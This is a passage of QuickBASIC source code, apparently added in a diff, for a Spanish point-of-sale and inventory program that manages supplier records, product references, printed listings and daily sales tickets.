+valor = 0 +GOSUB menu2 +valor = 3 + +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "Use + o - y <ÄÙ para editar ficha" + +GOSUB mirp + +GOSUB empi +EXIT SUB + +r: +i$ = INKEY$: IF i$ = "" THEN GOTO r +IF i$ = "S" OR i$ = "s" THEN GOTO mp ELSE CLOSE : EXIT SUB + + + +bp: +valor = 0 +GOSUB menu2 +valor = 3 +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "Use + o - y <ÄÙ para borrar ficha" + +GOSUB mirp +FOR wq = 1 TO 12 +CurrString$(wq) = "" +NEXT wq + + +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "Pulse 'S' si desea eliminarla" +r3: +i$ = INKEY$: IF i$ = "" THEN GOTO r3 +IF i$ = "S" OR i$ = "s" THEN GOTO po ELSE CLOSE : EXIT SUB + +po: +GOSUB cont +LOCATE 23, 1: PRINT STRING$(80, "±"); +center 23, "¨Desea eliminar otra ficha?" +r2: +i$ = INKEY$: IF i$ = "" THEN GOTO r2 +IF i$ = "S" OR i$ = "s" THEN GOTO bp ELSE CLOSE : EXIT SUB + + +finentrada: +END + +impr: +REM FICHERO PARA IMPRIMIR + +COLOR colors(7, ColorPref), colors(4, ColorPref) +box 13, 33, 19, 72 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." + + +n: +q$ = INKEY$: IF q$ = "" THEN GOTO n +IF q$ = CHR$(27) THEN EXIT SUB +box 13, 33, 19, 72 +LOCATE 15, 34: PRINT "Elija modo de impresion:" +LOCATE 17, 39: PRINT "(a) Lista simple" +LOCATE 18, 39: PRINT "(b) Lista completa" +COLOR colors(8, ColorPref), colors(9, ColorPref) +hn: +q$ = INKEY$: IF q$ = "" THEN GOTO hn +IF q$ = CHR$(27) THEN EXIT SUB +IF q$ = "A" OR q$ = "a" THEN GOTO ls +IF q$ = "B" OR q$ = "b" THEN GOTO lc +GOTO hn + + +ls: +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +IF printerr = true THEN GOTO ls + + +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 + FOR x = 1 TO LOF(1) / 56 + FIELD #1, 40 AS nom$, 16 AS tel$ + GET #1, x + IF RTRIM$(LTRIM$(nom$)) = "" THEN GOTO continua + IF kop = 0 THEN + LPRINT " Nombre de la entidad proveedora Tel‚fono ": LPRINT + kop = 1 + END IF + LPRINT nom$ + " " + tel$ + b = b + 1: IF b = 50 THEN GOSUB finlista +continua: + NEXT x +CLOSE #1 +CLOSE : EXIT SUB + +finlista: +box 13, 33, 19, 72 +LOCATE 15, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 16, 34: PRINT " Pulse entonces una tecla para " +LOCATE 17, 34: PRINT " continuar listando. " + +M: +IF INKEY$ = "" THEN GOTO M +box 13, 33, 19, 72 +LOCATE 16, 34: PRINT " IMPRIMIENDO " + +b = 0: RETURN + +lc: +valor = 2 +GOSUB menu2 +center 23, "Seleccione ficha a imprimir..." +GOSUB mirp + +lf: +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +IF printerr = true THEN GOTO lf + + + +LPRINT " Tratamiento de Proveedores ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +LPRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±"; +LPRINT "³ ³±"; +LPRINT "³ Nombre: " + nom$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Direcci¢n: " + Cal$ + " Cod. Postal: " + num$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Localidad: " + Pis$ + " Provincia: " + lettt$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Tel‚fono: " + tel$ + " C.I.F.: " + locc$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´±"; +LPRINT "³±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +LPRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +LPRINT "³ Entidad Bancaria: " + cpu$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Material: " + ram$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Jefe de Ventas: " + tg$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Direcci¢n: " + hd$ + " Tel‚fono: " + tel$ + " ³±"; +LPRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +LPRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +LPRINT "Base de Datos y Programa TPV, por Jos‚ David Guill‚n, para Guill‚n Dominguez s.l."; +FancyCls colors(2, ColorPref), colors(1, ColorPref) +box 10, 15, 14, 65 +center 12, "Cuando deje de imprimir, pulse una tecla" +SLEEP +CLOSE : EXIT SUB + +sp: +valor = 0: pieza = 3 +GOSUB menu2 +LOCATE 13, 2: PRINT "Introduzca parte a buscar..." +lili: +Row(1) = 4: Col(1) = 11: vis(1) = 40: max(1) = 40 +Row(2) = 8: Col(2) = 14: vis(2) = 32: max(2) = 32 +Row(3) = 8: Col(3) = 59: vis(3) = 19: max(3) = 19 +Row(4) = 17: Col(4) = 13: vis(4) = 58: max(4) = 58 +help$(1) = "Nombre de la entidad Proveedora " +help$(2) = "Localidad " +help$(3) = "Provincia " +help$(4) = "Material que Provee " + +GOSUB empi +FOR qwq = 1 TO 4 +IF LTRIM$(RTRIM$(CurrString$(qwq))) <> "" THEN she$(qwq) = CurrString$(qwq): K = qwq +NEXT qwq +IF pieza = 0 THEN pieza = 3: GOTO lili +PrintHelpLine "Pulse (Esc) para salir y + -" +GOTO mirp +EXIT SUB + +filenotfound: +LOCATE 13, 2: PRINT "Ficha no encontrada" +SLEEP +COLOR colors(7, ColorPref), colors(4, ColorPref) +GOTO sp +END + +menu2: +LOCATE 1, 1 +PRINT " Tratamiento de Proveedores ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±"; +PRINT "³ ³±"; +PRINT "³ Nombre: ³±"; +PRINT "³ ³±"; +PRINT "³ Direcci¢n: Cod. Postal: ³±"; +PRINT "³ ³±"; +PRINT "³ Localidad: Provincia: ³±"; +PRINT "³ ³±"; +PRINT "³ Tel‚fono: C.I.F.: ³±"; +PRINT "³ ³±"; +PRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´±"; +PRINT "³±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +PRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +PRINT "³ Entidad Bancaria: ³±"; +PRINT "³ ³±"; +PRINT "³ Material: ³±"; +PRINT "³ ³±"; +PRINT "³ Jefe de Ventas: ³±"; +PRINT "³ ³±"; +PRINT "³ Direcci¢n: Tel‚fono: ³±"; +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; + +RETURN + +showline: +IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE Row(a), Col(a) + + IF RTRIM$(LTRIM$(CurrString$(a))) <> "" THEN + PRINT CurrString$(a) + ELSE + PRINT SPACE$(vis(a)) + END IF + + RETURN + + +lg: + + +CLOSE : EXIT SUB +END SUB + +SUB Referencias (op%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6), lin$(130), ref1000#(1000) + + 'Array to keep the current balance at all the transactions + 'Open random access file + + file$ = "Ref#." + Cvit$(op%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + MaxRecord = VAL(IoMaxRecord$) + + ref1000#(0) = 0 + a = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + ref1000#(a) = VAL(IoRef$) + a = a + 1 + WEND + + + help$(1) = "Referencia del Producto " + help$(2) = "Nombre del Producto " + help$(3) = "Unidades parciales, ( o por caja ) " + help$(4) = "P.V.P. del Producto, ( por unidad )" + help$(5) = "Precio de Costo, ( la unidad ) " + + Col(1) = 4: vis(1) = 10: max(1) = 6 + Col(2) = 16: vis(2) = 22: max(2) = 22 + Col(3) = 40: vis(3) = 9: max(3) = 3 + Col(4) = 50: vis(4) = 12: max(4) = 8 + Col(5) = 63: vis(5) = 13: max(5) = 8 + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + + box 2, 3, 24, 76 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Referencias de la Empresa: " + Trim$(account(op%).Title); + + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 4: PRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. " + LOCATE 4, 4: PRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + CurrTopline = 1 + GOSUB EditTransPrintWholeScreen2 + + CurrRow = 1 + CurrCol = 1 + + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditTransGetLine2 + + finished = false + + + + + 'Loop until is pressed + DO + GOSUB EditTransShowCursor2 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditTransShowCursor2: ed = 0: 'Oculta el cursor para obtener datos ED=1 + + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem2 + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp2 + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown2 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 5 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 19 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + GOSUB EditTransPrintWholeScreen2 + GOSUB EditTransGetLine2 + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 19 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + GOSUB EditTransPrintWholeScreen2 + GOSUB EditTransGetLine2 + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord2 + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord2 + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor2: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + + CASE 3 + + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + + CASE 4 + IF CurrFig#(4) <> 0 THEN PRINT " "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT " "; + + + CASE 5 + IF CurrFig#(5) <> 0 THEN PRINT " "; : PRINT USING u2$; CurrFig#(5); ELSE PRINT " "; + + END SELECT + + RETURN + + +EditTransEditItem2: + + CurrRecord = CurrTopline + CurrRow - 1 + +EditTransEditItem3: + + COLOR colors(8, ColorPref), colors(9, ColorPref) + SELECT CASE CurrCol + + CASE 1 + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 100001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + DO WHILE ref1000#(b) <> 0 OR b = 999 + IF ref1000#(b) = CurrFig#(2) THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 24, 19, 49 + LOCATE 18, 25: PRINT "Esa Referencia ya existe" + SLEEP + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + reg = 1 + EXIT DO + END IF + b = b + 1 + LOOP + + IF reg = 1 THEN GOTO EditTransEditItem3 + + + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE 2 + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + LOOP WHILE new3# > 601# OR new3# < 0 + + CurrFig#(3) = new3# + IF CurrFig#(3) = 0 THEN CurrFig#(3) = 1 + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE 4 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + LOOP WHILE new4# >= 75001# OR new4# < 0 + + CurrFig#(4) = new4# + IF CurrFig#(4) = 0 THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 18, 19, 59 + LOCATE 18, 20: PRINT "El P.V.P. No puede ser 0 ni menor de 0" + SLEEP + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + END IF + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + + CASE 5 + start$ = kbd$ + + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5 < 0 + + + CurrFig#(5) = new5# + IF CurrFig#(5) = 0 THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 18, 19, 59 + LOCATE 18, 20: PRINT " El P.C. No puede ser 0 ni menor de 0" + SLEEP + df = 0 + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + END IF + + GOSUB EditTransPutLine2 + GOSUB EditTransGetLine2 + + + CASE ELSE + END SELECT + + GOSUB EditTransPrintLine2 + + RETURN + +EditTransMoveUp2: + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditTransGetLine2 + GOSUB EditTransPrintLine2 + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditTransGetLine2 + END IF + + RETURN + +EditTransMoveDown2: + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 19 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditTransGetLine2 + GOSUB EditTransPrintLine2 + ELSE + CurrRow = CurrRow + 1 + GOSUB EditTransGetLine2 + END IF + END IF + p = 0 + IF CurrFig#(4) = 0 THEN p = 1 ELSE IF CurrFig#(5) = 0 THEN p = 2 + IF p <> 0 THEN + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 17, 18, 19, 59 + LOCATE 18, 20: IF p = 1 THEN PRINT "El P.V.P. No puede ser 0 ni menor de 0" ELSE PRINT " El P.C. No puede ser 0 ni menor de 0" + SLEEP + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 17 TO 19 + FOR Oc = 18 TO 59 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + END IF + + + RETURN + +EditTransPrintLine2: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 4 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³ " + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT " ³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³ "; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + +END IF + +RETURN + +EditTransDeleteRecord2: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + ref1000#(a) = ref1000#(a + 1) + a = a + 1 + WEND + + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen2 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp2 + END IF + GOSUB EditTransGetLine2 + END IF + RETURN + +EditTransAddRecord2: + + CurrRecord = CurrTopline + CurrRow - 1 + a = MaxRecord + + + WHILE a > CurrRecord + + GET #1, a + 1 + PUT #1, a + 2 + ref1000#(a + 1) = ref1000#(a) + a = a - 1 + + WEND + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen2 + GOSUB EditTransGetLine2 + RETURN + +EditTransPrintWholeScreen2: + + temp = CurrRow + FOR CurrRow = 1 TO 19 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditTransGetLine2 + END IF + GOSUB EditTransPrintLine2 + NEXT CurrRow + CurrRow = temp + RETURN + +EditTransPutLine2: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + PUT #1, CurrRecord + 1 + + RETURN + + +EditTransGetLine2: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + RETURN + + +END SUB + +'SaveState: +' Save color preference and account information to "Personal.cfg" data file. +SUB SaveState + OPEN "Personal.cfg" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + FOR a = 1 TO 19 + PRINT #2, account(a).Title + NEXT a + + CLOSE #2 +END SUB + +'ScrollDown: +' Call the assembly program to scroll the screen down +SUB ScrollDown + DEF SEG = VARSEG(ScrollDownAsm(1)) + CALL Absolute(VARPTR(ScrollDownAsm(1))) + DEF SEG +END SUB + +'ScrollUp: +' Calls the assembly program to scroll the screen up +SUB ScrollUp + DEF SEG = VARSEG(ScrollUpAsm(1)) + CALL Absolute(VARPTR(ScrollUpAsm(1))) + DEF SEG +END SUB + +SUB Staul + +END SUB + +SUB Stock (EEE%) + +END SUB + +SUB Ticket (e%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155) + + + gf = 0 + box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que guardar ticket del d¡a." + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + help$(1) = "Vendedor 1 a 9 " + help$(2) = "Referencia " + help$(3) = "Producto " + help$(4) = "Unidades " + help$(5) = "P.V.P. (Unidad) " + + Col(1) = 2: vis(1) = 3: max(1) = 1 + Col(2) = 9: vis(2) = 6: max(2) = 6 + Col(3) = 19: vis(3) = 22: max(3) = 22 + Col(4) = 43: vis(4) = 5: max(4) = 3 + Col(5) = 51: vis(5) = 10: max(5) = 8 + + + 'Open random access file + + file$ = "T-" + dia$ + mes$ + "." + Cvit$(e) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + CurrFig#(6) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + a = 1 + + WHILE a <= MaxRecord + GET #1, a + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(a) + a = a + 1 + WEND + + GOSUB CargaReferencias + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 21, 80 + box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(account(e%).Title); + 'LOCATE 1, 63: PRINT "Fecha: "; + 'LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " No. ³ Ref# ³ Concepto ³ Und ³ P.V.P. ³ Total " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "##,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + GOSUB EditPrintWholeScreen + bajabarra = 0 + + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditGetLine + + finished = false + + GOSUB EditPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditMoveDown + 